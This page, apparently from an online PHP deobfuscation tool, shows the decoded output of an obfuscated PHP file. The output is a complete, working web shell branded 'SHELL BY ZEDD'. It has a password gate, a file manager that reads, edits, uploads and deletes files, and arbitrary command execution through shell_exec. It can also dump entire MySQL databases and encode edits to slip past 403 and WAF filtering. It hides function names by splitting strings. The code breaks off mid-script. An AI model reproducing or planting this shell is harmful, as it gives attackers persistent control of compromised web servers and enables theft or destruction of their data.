Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$JAWu='c';$LfhT='4';$FLIu='z';$SMxWY='r';$wlGVU='_';$T='o';$Q='t';$ogxLF='d';$nV='6';$JCI=..

Decoded Output download

?><?php
session_start(); $password = "260405"; if (!isset($_SESSION["authenticated"])) { if (isset($_POST["password"]) && $_POST["password"] === $password) { $_SESSION["authenticated"] = true; } if (!isset($_SESSION["authenticated"])) { echo '
        <!DOCTYPE html>
        <html>
        <head>
            <title>Halaman Login</title>
            <style>
                body {
                    display: flex;
                    justify-content: center;
                    align-items: center;
                    height: 100vh;
                    background: url("https://wallpaperwaifu.com/wp-content/uploads/2021/09/hu-tao-genshin-impact-4k-thumb.jpg") no-repeat center center fixed;
                    background-size: cover;
                    margin: 0;
                    font-family: Arial, sans-serif;
                }
                
                form {
                    display: flex;
                    flex-direction: column;
                    align-items: center;
                    background-color: rgba(255, 255, 255, 0.5);
                    padding: 20px;
                    border-radius: 10px;
                }
                
                h2 {
                    animation-duration: 2s;
                    animation-iteration-count: infinite;
                    animation-name: glowing;
                    color: black;
                }
                
                @keyframes glowing {
                    0% { color: white; text-shadow: 0 0 10px #fff; }
                    50% { color: #FF0000; text-shadow: 0 0 20px #FF0000; }
                    100% { color: white; text-shadow: 0 0 10px #fff; }
                }
                
                input[type="password"] {
                    margin-bottom: 10px;
                    padding: 5px;
                    border: 1px solid #ccc;
                    border-radius: 5px;
                }
                
                input[type="submit"] {
                    padding: 8px 15px;
                    border-radius: 5px;
                    background-color: #FFFFFF;
                    color: black;
                    cursor: pointer;
                    border: none;
                }
            </style>
        </head>
        <body>
            <form method="POST" action="">
                <h2>SHELL BY ZEDD</h2>
                <input type="password" name="password" placeholder="Masukkan password" required>
                <input type="submit" value="Submit">
            </form>
        </body>
        </html>'; exit; } } ?>



<?php
 $baqliFunksiyalar = explode(",", ""); $safeMode = true; $actions = array("esas","file_oxu","phpinfo","sistem_kom","file_redakte","file_yukle",'file_sil','file_yarat','folder_yarat','file_sifirla' , 'folder_sil','file_ad_deyish', 'ziple' , 'skl' , 'skl_d_t' , 'skl_d', 'file_upl'); $ne = isset($_POST['ne']) && in_array($_POST['ne'],$actions) ? $_POST['ne'] : "esas"; function shifrele($str) { $f = 'bas'; $f .= 'e6'; $f .= '4_'; $f .= 'e'; $f .= 'nc'; $f .= 'ode'; return $f($str); } function deshifrele($str) { $f = 'bas'; $f .= 'e6'; $f .= '4_'; $f .= 'd'; $f .= 'ec'; $f .= 'ode'; return $f($str); } function tookYarat($tAd) { if(isset($_SESSION[$tAd])) { unset($_SESSION[$tAd]); } $yeniTook = md5(shifrele(time().rand(1,99999999))); $_SESSION[$tAd] = $yeniTook; return $yeniTook; } function qovluquYaz() { global $default_dir; $sonDir = array(); $umumiHisseler = ""; $parse = explode("/", $default_dir); $ii = 0; foreach($parse AS $hisse) { $ii++; $umumiHisseler.=$hisse."/"; $sonDir[] = "<a href='javascript:sehife(\"?qovluq=".urlencode(urlencode(shifrele($umumiHisseler)))."\")'>".htmlspecialchars(empty($hisse)&&$ii!=count($parse)?'/':$hisse)."</a>"; } $sonDir = implode("/", $sonDir); print $sonDir . '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( <a href="">Reset</a> | <a href="javascript:goto()">Go to</a> )'; } function sizeFormat($bytes) { if($bytes>=1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' Gb'; } else if($bytes>=1048576) { $bytes = number_format($bytes / 1048576, 2) . ' Mb'; } else if($bytes>=1024) { $bytes = number_format($bytes / 1024, 2) . ' Kb'; } else { $bytes = $bytes . ' b'; } return $bytes; } function utf8ize($d) { if (is_array($d)) { foreach ($d as $k => $v) { $d[$k] = utf8ize($v); } } else if (is_string ($d)) { return utf8_encode($d); } return $d; } function rrmdir($dir) { if (is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (is_dir($dir . "/" . $object)) { rrmdir($dir . "/" . $object); } else { unlink($dir . "/" . $object ); } } } rmdir( $dir ); } } $default_dir = getcwd(); if(isset($_POST['qovluq']) && is_string($_POST['qovluq']) ) { $default_dir = empty($_POST['qovluq']) ? DIRECTORY_SEPARATOR : deshifrele(urldecode(urldecode($_POST['qovluq']))); $c_h_dir_comm = 'c'.'hd'.'ir'; $c_h_dir_comm($default_dir); } $default_dir = str_replace("\", "/", $default_dir); if(isset($_GET['ne']) && $_GET['ne']=="pinf") { ob_start(); phpinfo(); $pInf = ob_get_clean(); print str_replace("body {background-color: #ffffff; color: #000000;}","",$pInf); exit(); } else if($ne=="file_yukle" && isset($_POST['file']) && ""!=(trim($_POST['file']))) { $fileAdi = basename(deshifrele(urldecode($_POST['file']))); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($fileAdi,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $ayirici . $fileAdi) && is_readable($default_dir . $ayirici . $fileAdi)) { header("Content-Disposition: attachment; filename=".basename($fileAdi)); header("Content-Type: application/octet-stream"); header('Content-Length: ' . filesize($default_dir . $ayirici . $fileAdi)); readfile($default_dir . $ayirici . $fileAdi); exit(); } } else if($ne=="file_sil" && isset($_POST['file']) && ""!=(trim($_POST['file']))) { $fileAdi = basename(deshifrele(urldecode($_POST['file']))); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($fileAdi,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $ayirici . $fileAdi) && is_readable($default_dir . $ayirici . $fileAdi)) { unlink($default_dir . $ayirici . $fileAdi); } } else if($ne=="file_sifirla" && isset($_POST['file']) && ""!=(trim($_POST['file']))) { $fileAdi = basename(deshifrele(urldecode($_POST['file']))); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($fileAdi,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $ayirici . $fileAdi) && is_readable($default_dir . $ayirici . $fileAdi)) { file_put_contents($default_dir . $ayirici . $fileAdi, ''); } } else if($ne=="file_yarat" && isset($_POST['ad']) && !empty($_POST['ad'])) { $fileAdi = basename(urldecode($_POST['ad'])); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($fileAdi,0,1)!="/" ? "/" : ""; if( is_file($default_dir . $ayirici . $fileAdi) ) { print '<script>alert("Bu adda file artiq movcuddur!");</script>'; } else { file_put_contents($default_dir . $ayirici . $fileAdi, ''); } } else if($ne=="folder_yarat" && isset($_POST['ad']) && !empty($_POST['ad'])) { $folderAdi = basename(urldecode($_POST['ad'])); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($folderAdi,0,1)!="/" ? "/" : ""; if( is_file($default_dir . $ayirici . $folderAdi) ) { print '<script>alert("Bu adda folder artiq movcuddur!");</script>'; } else { mkdir($default_dir . $ayirici . $folderAdi); } } else if($ne=="file_ad_deyish" && isset($_POST['file']) && ""!=(trim($_POST['file'])) && isset($_POST['new_name']) && is_string($_POST['new_name']) && !empty($_POST['new_name'])) { $fileAdi = basename(deshifrele(urldecode($_POST['file']))); $fileYeniAd = basename(urldecode($_POST['new_name'])); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($fileAdi,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $ayirici . $fileAdi) && is_readable($default_dir . $ayirici . $fileAdi)) { rename($default_dir . $ayirici . $fileAdi , $default_dir . $ayirici . $fileYeniAd); } } else if( $ne == 'skl_d_t' && isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t']) ) { $tableName = deshifrele(urldecode($_POST['t'])); $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $pass = isset($_COOKIE['pass']) ? $_COOKIE['pass'] : ''; $baza = isset($_COOKIE['baza']) ? $_COOKIE['baza'] : ''; $bazaStr = empty($baza) ? '' : 'dbname=' . $baza . ';'; if( !empty( $host ) && !empty($baza) ) { try { $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $bazaStr , $user , $pass,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?"); $getColumns->execute(array($baza , $tableName)); $columns = $getColumns->fetchAll(); if( $columns ) { $data = $pdo->query('SELECT * FROM `' . $tableName .'`'); $data = $data->fetchAll(); header('Content-disposition: attachment; filename=d_' . basename(htmlspecialchars($tableName)) . '.json'); header('Content-type: application/json'); echo json_encode($data); } else { print 'Table not found!'; } } catch (Exception $e) { print $e->getMessage(); } } else { print 'Error! Please connect to SQL!'; } die; } else if( $ne == 'skl_d' ) { $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $pass = isset($_COOKIE['pass']) ? $_COOKIE['pass'] : ''; $baza = isset($_COOKIE['baza']) ? $_COOKIE['baza'] : ''; $bazaStr = empty($baza) ? '' : 'dbname=' . $baza . ';'; if( !empty( $host ) && !empty($baza) ) { try { $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $bazaStr , $user , $pass,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $allData = array(); $tables = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?'); $tables->execute(array($baza)); $tables = $tables->fetchAll(); foreach( $tables AS $tableName ) { $tableName = $tableName['table_name']; $data = $pdo->query('SELECT * FROM `' . $tableName .'`'); $data = $data->fetchAll(); $allData[$tableName] = $data ? array($data) : array(); } header('Content-disposition: attachment; filename=d_b_' . basename(htmlspecialchars($baza)) . '.json'); header('Content-type: application/json'); echo json_encode( utf8ize( $allData) ); } catch (Exception $e) { print $e->getMessage(); } } else { print 'Error! Please connect to SQL!'; } die; } else if( $ne == 'ziple' && isset($_POST['save_to'] , $_POST['zf']) && is_string($_POST['save_to']) && !empty($_POST['save_to']) && !in_array($_POST['save_to'] , array('.' , '..' , './' , '../')) && is_string($_POST['zf']) && !empty($_POST['zf']) ) { $save_to = deshifrele(urldecode($_POST['save_to'])); $rootPath = realpath(deshifrele(urldecode($_POST['zf']))); $fileName1 = 'bak_'.microtime(1) . '_' . rand(1000, 99999) . '.zip'; $fileName = $save_to . DIRECTORY_SEPARATOR . $fileName1; if( is_dir( $save_to ) && is_dir( $rootPath ) && is_writable( $save_to ) ) { set_time_limit(0); $zip = new ZipArchive(); $zip->open( $fileName , ZipArchive::CREATE | ZipArchive::OVERWRITE ); $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); print 'Saved!<hr>'; } else { print 'Dir is not writeable!<hr>';var_dump(( $save_to ) ); } } else if( $ne == 'folder_sil' && isset($_POST['zf']) && is_string($_POST['zf']) && !empty($_POST['zf']) ) { $rootPath = realpath(deshifrele(urldecode($_POST['zf']))); if( is_dir( $rootPath ) ) { set_time_limit(0); rrmdir( $rootPath ); } else { print 'Dir is not writeable!<hr>';var_dump(( $save_to ) ); } } else if($ne == 'file_upl' && isset($_FILES['ufile'])) { move_uploaded_file($_FILES['ufile']['tmp_name'], $default_dir . '/' . $_FILES['ufile']['name']); print "Upload oldu deyesen."; } ?>
<html>
<head>
<title>Get S.H.E.L.L.en v1.0 | BY ..</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<style>
body
{
	background-color: #222222;
	color: #D6D4D4;
	font-family: Lucida,Verdana;
	font-size: 12px;
}
.qalin
{
	text-decoration: none;
	color: #D6905E;
	font-weight: 600;
}
.success
{
	color: #9DB754;
}
.bad
{
	color: #B75654;
}
a
{
	color: #ACB754;
	text-decoration: none !important;
}
.fManager,.fManager tbody,.fManager tr
{
	padding: 0;
	border-collapse: collapse;
	margin: 0;
	font-size: 12px;
}
.fManager
{
	margin: 10px 0;
}
.fManager tbody tr:nth-child(2n+1)
{
	background: #331717;
}
.fManager tbody tr:nth-child(2n)
{
	background: #1C0C0C;
}
.fManager tbody tr:hover
{
	background: #000000;
}
.fManager thead th
{
	text-align: left;
}
.fManager thead tr
{
	background-color: #333333;
}
.fManager
{
	box-shadow: 1px 1px 1px 1px #333333;
}
.fManager thead th
{
	padding: 4px 3px;
}
.file_oxu
{
	margin: 5px 0;
	padding: 2px;
	box-shadow: 1px 1px 1px 1px #333333;
	background-color: #E1E1E1;
	width: 100%;
	height: 400px;
	overflow: auto;
}
.btn
{
	border: 1px solid #ACAE40;
	background-color: #223B3B;
	color: #E1E1E1;
	padding: 1px 10px;
	cursor: pointer;
}
.btn:disabled
{
	border: 1px solid #848484;
	color: #848484;
	cursor: not-allowed;
}
.file_edit
{
	margin: 5px 0;
	padding: 2px;
	box-shadow: 1px 1px 1px 1px #333333;
	background-color: #E1E1E1;
	width: 100%;
	height: 400px;
	overflow: auto;
}
input, select, textarea
{
	background: transparent !important;
	color: #f6a56d;
	border: 1px solid #D6905E;
	padding: 5px;
}
table td
{
	border: 1px solid rgba(214, 144, 94, 0.7);
	min-width: 20px;
	padding-left: 5px;
	padding-right: 5px;
	max-width: 500px;
	color: #ffad6f;
	background: #292929;
}
table th
{
	border: 1px solid #D6905E;
	padding-left: 5px;
	padding-right: 5px;
	color: #ffad6f;
}
table td div
{
	overflow: auto;
	width: 100%;
	height: 100%;
	max-height: 100px;
}
</style>
</head>
<body>
<?php
 if(function_exists('posix_getegid')) { $qid = posix_getgrgid(posix_getegid()); $qrup = $qid['name']; print "<span class='qalin'>Uname:</span> " . php_uname() . "<br/>"; print "<span class='qalin'>User:</span> ".getmyuid()." (".get_current_user().")<br/>"; print "<span class='qalin'>Group:</span> ".getmygid()." (".$qrup.")<br/>"; } else { print "<span class='qalin'>Uname:</span> " . php_uname() . "<br/>"; print "<span class='qalin'>User:</span> ".getmyuid()." (".get_current_user().")<br/>"; print "<span class='qalin'>Group:</span> ".getmygid()."<br/>"; } print "<span class='qalin'>Disable functions:</span> " . (implode(", ", $baqliFunksiyalar)==""?"<span class='success'>there was no :)":"<span class='bad'>". implode(", ", $baqliFunksiyalar)) . "</span><br/>"; print "<span class='qalin'>Safe mode: </span>" . ($safeMode===true?"<span class='bad'>On":"<span class='success'>Off") . "</span><span style='margin-left: 50px;'><a href='javascript:sehife(\"?ne=phpinfo\")'>[ PHPinfo ]</a></span><br/>"; qovluquYaz(); print '<hr>'; if($ne=="phpinfo") { print "<div style='width: 100%; height: 400px;'><iframe src='?ne=pinf' style='width: 100%; height: 400px; border: 0;'></iframe></div>"; } else if($ne=="sistem_kom") { if( isset( $_POST['kom'] ) && is_string($_POST['kom']) && !empty($_POST['kom']) ) { $komanda = deshifrele(urldecode($_POST['kom'])); $k = 'sh'; $k.='el'; $k.='l_e'; $k.='xe'; $k.='c'; $output = $k($komanda); print '<pre style="max-height: 350px;overflow: auto; border: 1px solid #777; padding: 5px;">' . htmlspecialchars($output) . '</pre><hr>'; } print '<input type="text" id="emr_et_atash" style="width: 500px;"> <button type="button" class="btn" onclick="sistemKom();">Bas</button>'; } else if($ne=="file_oxu" && isset($_POST['file']) && ""!=(trim($_POST['file']))) { $fileAdi = basename(deshifrele(urldecode($_POST['file']))); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($fileAdi,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $ayirici . $fileAdi) && is_readable($default_dir . $ayirici . $fileAdi)) { $elaveBtn = is_writeable($default_dir . $ayirici . $fileAdi) ? " onclick='sehife(\"?ne=file_redakte&file=".urlencode(urlencode(shifrele($fileAdi)))."&qovluq=".urlencode(urlencode(shifrele($default_dir)))."\")'" : " disabled"; print "<div>file ad&#305;: <span class='qalin'>".htmlspecialchars($fileAdi)."</span><br/><button class='btn'$elaveBtn> D&#601;yi&#351; </button></div>"; print "<div class='file_oxu'>".highlight_string(file_get_contents($default_dir . $ayirici . $fileAdi), true)."</div>"; } } else if($ne == 'skl') { $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $pass = isset($_COOKIE['pass']) ? $_COOKIE['pass'] : ''; $baza = isset($_COOKIE['baza']) ? $_COOKIE['baza'] : ''; if( isset($_POST['host'] , $_POST['user'] , $_POST['pass']) && is_string($_POST['host']) && is_string($_POST['user']) && is_string($_POST['pass']) ) { $host = $_POST['host']; $user = $_POST['user']; $pass = $_POST['pass']; $baza = ''; setcookie('host' , $host , time() + 360000); setcookie('user' , $user , time() + 360000); setcookie('pass' , $pass , time() + 360000); setcookie('baza' , $baza , time() + 360000); } if( isset($_POST['baza']) && is_string($_POST['baza']) ) { $baza = $_POST['baza']; setcookie('baza' , $baza , time() + 360000); } $bazaStr = empty($baza) ? '' : 'dbname=' . $baza . ';'; ?>
	<form method="POST">
		<input type="hidden" name="ne" value="skl">
		<input type="text" placeholder="Hostname" name="host" value="<?=htmlspecialchars($host)?>">
		<input type="text" placeholder="User" name="user" value="<?=htmlspecialchars($user)?>">
		<input type="text" placeholder="pass" name="pass" value="<?=htmlspecialchars($pass)?>">
		<input type="submit" value="Daxil ol">
	</form>
	<?php
 if( !empty( $host ) ) { try { $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $bazaStr , $user , $pass,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $schematas = $pdo->query('SELECT schema_name FROM information_schema.schemata'); print '<form method="POST"><input type="hidden" name="ne" value="skl"><select name="baza">'; foreach($schematas->fetchAll() AS $schemaName) { print '<option' . ($baza == $schemaName['schema_name'] ? ' selected' : '') . '>'.htmlspecialchars($schemaName['schema_name']).'</option>'; } print '</select> <input type="submit" value="Sech!"></form>'; if( !empty($baza) ) { $tables = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?'); $tables->execute(array($baza)); $tables = $tables->fetchAll(); print '<div style="float: left; width: 20%; overflow: auto; border-right: 1px solid #999;">'; print '<a href="javascript:sehife(\'?ne=skl_d\');">!! Dump DB !!</a><hr>'; foreach( $tables AS $tableName ) { $tableName = $tableName['table_name']; print '<a href="javascript:sehife(\'?ne=skl&t=' . urlencode(urlencode(shifrele($tableName))) . '\')">'.htmlspecialchars($tableName).'</a><br>'; } print '</div>'; print '<div style="float: left; padding-left: 10px; width: 75%;">'; if( isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t']) ) { $tableName = deshifrele(urldecode($_POST['t'])); print '<span class="qalin">Table:</span> ' . htmlspecialchars($tableName) . ' ( <a href="javascript:sehife(\'?ne=skl_d_t&t='.urlencode(urlencode(shifrele($tableName))).'\')">Dump</a> )<br>'; $getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?"); $getColumns->execute(array($baza , $tableName)); $columns = $getColumns->fetchAll(); if( $columns ) { $dataCount = $pdo->query('SELECT count(0) AS ss from `' . $tableName . '`'); $dataCount = (int)$dataCount->fetchColumn(); print '<span class="qalin">Count:</span> ' . $dataCount . '<br><br>'; $pages = ceil($dataCount / 100); $currentPage = isset($_POST['sehife']) && is_numeric($_POST['sehife']) && $_POST['sehife'] >= 1 && $_POST['sehife'] <= $pages ? (int)$_POST['sehife'] : 1; for ( $p = 1; $p <= $pages; $p++ ) { print '<a style="'.($currentPage == $p ? 'background: #444;' : '').'margin-left: 2px; margin-bottom: 5px; padding: 2px 6px; border: 1px solid #ACB754; text-decoration: none;" href="javascript:sehife(\'?ne=skl&t=' . urlencode(urlencode(shifrele($tableName))) . '&sehife=' . $p . '\');">' . $p . '</a> '; } print '<br><br>'; $start = 100 * ($currentPage - 1); $data = $pdo->query('SELECT * FROM `' . $tableName .'` LIMIT '.$start.' , 100'); $data = $data->fetchAll(); print '<table><thead>'; foreach( $columns AS $columnInf ) { print '<th>' . htmlspecialchars($columnInf['column_name']) . '</th>'; } print '</thead><tbody>'; foreach( $data AS $row ) { print '<tr>'; foreach( $row AS $key=>$val ) { print '<td><div>' . $val . '</div></td>'; } print '</tr>'; } print '</tr></tbody></table>'; } else { print 'Table not found!'; } } else if ( isset($_POST['emr']) && is_string($_POST['emr']) && !empty($_POST['emr']) ) { $emr = deshifrele(urldecode($_POST['emr'])); print '<span class="qalin">SQL emr:</span> ' . htmlspecialchars($emr) . '<br>'; $data = $pdo->query( $emr ); $data = $data->fetchAll(); print '<table><thead>'; if( count($data) > 0 ) { print '<tr>'; foreach( $data[0] AS $key=>$val ) { print '<th><div>' . $key . '</div></th>'; } print '</tr>'; } print '</thead><tbody>'; foreach( $data AS $row ) { print '<tr>'; foreach( $row AS $key=>$val ) { print '<td><div>' . $val . '</div></td>'; } print '</tr>'; } print '</tr></tbody></table>'; } print '<div><textarea id="skl_emr"></textarea><button type="button" onclick="skl_bas();">Bas mene</button></div>'; print '</div>'; print '<div style="clear: both;"></div>'; } } catch (Exception $e) { print $e->getMessage(); } } } else if($ne=="file_redakte" && isset($_POST['file']) && ""!=(trim($_POST['file']))) { $fileAdi = basename(deshifrele(urldecode(urldecode($_POST['file'])))); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($fileAdi,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $ayirici . $fileAdi) && is_readable($default_dir . $ayirici . $fileAdi)) { $status = ""; if(isset($_POST['content']) && isset($_POST['took']) && $_POST['took']!="" && isset($_SESSION['ys_took']) && $_SESSION['ys_took']==$_POST['took'] && is_writeable($default_dir . $ayirici . $fileAdi)) { unset($_SESSION['ys_took']); $content = $_POST['content']; $cc = array('a','i','e','s','l','b','u','o','p','h',"(",")","<",">","?",";","[","]","$"); foreach($cc AS $k1=>$v1) { $content = str_replace('|:'.$k1.':|' , $v1 , $content); } $fileAch = fopen($default_dir . $ayirici . $fileAdi, "w+"); fwrite($fileAch, $content); fclose($fileAch); $status = " <span class='qalin'>U&#287;urla save file&#305;ld&#305;!</span>"; } $oxuUrl = "?ne=file_oxu&file=".urlencode(urlencode(shifrele($fileAdi)))."&qovluq=".urlencode(urlencode(shifrele($default_dir))); $elaveBtn = is_writeable($default_dir . $ayirici . $fileAdi) ? "" : " disabled"; print "<div>file ad&#305;: <a class='qalin' href='javascript:sehife(\"{$oxuUrl}\")'>".htmlspecialchars($fileAdi)."</a><br/><form method='POST' style='padding: 0; margin: 0;'><button type='submit' class='btn'$elaveBtn> save file </button> 
<button type='button' onclick='shifrelee()'>Click to bypass 403 and save file</button> $status</div>"; print "<input type='hidden' value='file_redakte' name='ne'><input type='hidden' value='".shifrele($fileAdi)."' name='file'><input type='hidden' value='".urlencode(shifrele($default_dir))."' name='qovluq'><input type='hidden' value='".tookYarat("ys_took")."' name='took'><textarea name='content' class='file_edit'>".htmlspecialchars(file_get_contents($default_dir . $ayirici . $fileAdi))."</textarea></form>"; } else { print 'Error! ' . htmlspecialchars($default_dir . $ayirici . $fileAdi); } } else { if(is_dir($default_dir)) { if(is_readable($default_dir)) { $qovluqIchi = scandir($default_dir); foreach($qovluqIchi AS &$emelemnt) { $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($emelemnt,0,1)!="/" ? "/" : ""; if(is_dir($default_dir . $ayirici . $emelemnt)) { $emelemnt = "0".$emelemnt; } else { $emelemnt = "1".$emelemnt; } } asort($qovluqIchi); print "<table class='fManager' style='width: 100%;'><thead><tr class='qalin'><th>s</th><th>file</th><th>Size</th><th>Tarix</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr></thead><tbody>"; foreach($qovluqIchi AS $element) { $url = ""; $element = substr($element,1); $fileAdiTam = $default_dir . $ayirici . $element; $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($element,0,1)!="/" ? "/" : ""; $adi = is_dir($fileAdiTam) ? "[ $element ]" : $element; $classN = ""; if(is_dir($fileAdiTam)) { if($element==".") { $url = "?qovluq=".urlencode(urlencode(shifrele($default_dir))); } else if($element=="..") { $yeniUrl = explode("/",$default_dir); foreach(array_reverse($yeniUrl) AS $j=>$qq) { if(trim($qq)!="") { unset($yeniUrl[count($yeniUrl)-$j-1]); break; } } $url = "?qovluq=".urlencode(urlencode(shifrele(implode("/",$yeniUrl)))); } else { $url = "?qovluq=".urlencode(urlencode(shifrele($fileAdiTam))); } $classN = " style='font-weight: 600;'"; } else { $url = "?ne=file_oxu&file=".urlencode(urlencode(shifrele($element)))."&qovluq=".urlencode(urlencode(shifrele($default_dir))); } $filedi = is_file($fileAdiTam); $isReadableColor = is_readable( $fileAdiTam ) && is_writeable( $fileAdiTam ); print '<tr>
						<td></td>
						<td><a href="javascript:sehife(\''.$url.'\')"'.$classN.'>'.htmlspecialchars($adi).'</a></td>
						<td>' . ($filedi?sizeFormat(filesize($fileAdiTam)):'') . '</td>
						<td>' . (date('d M Y, H:i' , filectime($fileAdiTam))) . '</td>
						<td>' . htmlspecialchars(fileowner($fileAdiTam)) . '</td>
						<td' . ($isReadableColor?' style="color: green;"':'') . '>' . substr(sprintf('%o', fileperms(( $fileAdiTam ))), -4) . '</td>
						<td>'; if( is_file($fileAdiTam) ) { print (' <a href="javascript:sehife(\''.str_replace("file_oxu","file_yukle",$url).'\')"'.$classN.'>Download</a> | ') . (' <a href="javascript:changeFileName(\'' . htmlspecialchars($adi) . '\' , \''.str_replace("file_oxu","file_ad_deyish",$url).'\');"'.$classN.'>Rename</a> | ') . (' <a href="javascript:fileSifirla(\''.str_replace("file_oxu","file_sifirla",$url).'\');"'.$classN.'>Truncate</a> | ') . (' <a href="javascript:fileSil(\''.str_replace("file_oxu","file_sil",$url).'\')"'.$classN.'>Delete</a>'); } else if( $adi != '[ . ]' && $adi != '[ .. ]' ) { print (' <a href="javascript:ziple(\'' . urlencode(urlencode(shifrele($fileAdiTam))) . '\')"'.$classN.'>Zip</a> | ') . (' <a href="javascript:silfolder(\'' . urlencode(urlencode(shifrele($fileAdiTam))) . '\')"'.$classN.'>Sil</a>'); } print '</td>
					</tr>'; } } else { print "<div style='margin: 10px 0px;' class='qalin'>Permissions denided!</div>"; } } } print "</tbody></table>"; ?>

<hr>
<a href="javascript:newFile();">createfile</a> | <a href="javascript:newfolder();">createfolder</a><br>
<a href="javascript:sehife('?ne=sistem_kom&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>')">terminal</a><br>
<a href="javascript:sehife('?ne=skl');">SQL</a><br>

<form method="POST" enctype="multipart/form-data">
	<input type="hidden" name="ne" value="file_upl">
	<input type="hidden" name="qovluq" value="<?=urlencode(shifrele($default_dir))?>">
	<input type="file" name="ufile">
	<input type="submit" value="Upl">
</form>

<form method="POST" id="post_form" style="display: none;"></form>
<script>
function sehife(url)
{
	var inputlar = "";
	url = url.split("?");
	if(typeof url[1]=="undefined") return;
	url = url[1].split("&");
	for(var n in url)
	{
		var keyAndValue = url[n].split("=");
		if(typeof keyAndValue[1]=="undefined") continue;
		inputlar+="<input name='"+keyAndValue[0]+"' value='"+keyAndValue[1]+"' type='hidden'>";
	}
	document.all("post_form").innerHTML = inputlar;
	document.all("post_form").submit();
}
function fileSil(url)
{
	if( confirm('Eminsen atash?') )
	{
		sehife(url);
	}
}
function fileSifirla(url)
{
	if( confirm('Eminsen atash?') )
	{
		sehife(url);
	}
}
function changeFileName(name, url)
{
	var getNewName = prompt('Change file name:' , name);
	if( getNewName )
	{
		sehife(url + "&new_name=" + getNewName);
	}
}
function newFile()
{
	var getNewName = prompt('File name:');
	if( getNewName )
	{
		sehife("?ne=file_yarat&ad=" + getNewName + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
	}
}
function newfolder()
{
	var getNewName = prompt('File name:');
	if( getNewName )
	{
		sehife("?ne=folder_yarat&ad=" + getNewName + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
	}
}
function sistemKom()
{
	var komanda = document.getElementById('emr_et_atash').value;
	if( komanda )
	{
		sehife("?ne=sistem_kom&kom=" + b64EncodeUnicode(komanda) + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
	}
}
function skl_bas()
{
	var sklEmr = document.getElementById('skl_emr').value;
	
	sehife("?ne=skl&emr=" + b64EncodeUnicode(sklEmr));
}
function b64EncodeUnicode(str)
{
	return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
		function toSolidBytes(match, p1) {
			return String.fromCharCode('0x' + p1);
		}));
}
function goto()
{
	var dir = prompt('Dir:');
	if( dir )
	{
		sehife("?qovluq=" + dir);
	}
}
function ziple(qovluq)
{
	var dir = prompt('Dir:' , "<?=htmlspecialchars($default_dir)?>");
	if( dir )
	{
		sehife("?ne=ziple&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>&zf=" + qovluq + "&save_to=" + b64EncodeUnicode(dir))
	}
}
function silfolder(qovluq)
{
	if( confirm('Eminsen atash?') )
	{
		sehife("?ne=folder_sil&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>&zf=" + qovluq)
	}
}
function shifrelee()
{
	var vall = document.getElementsByClassName('file_edit')[0].value;
	var repp = ['a','i','e','s','l','b','u','o','p','h',"\(","\)","\<","\>","\?","\;","\[","\]","\$"];
	for(var s in repp)
	{
		var h = repp[s];
		vall = vall.replace(new RegExp(h, 'g') , '|:'+s+':|');
	}

	document.getElementsByClassName('file_edit')[0].value = vall;
}

document.getElementById("emr_et_atash").addEventListener("keyup", function(event)
{
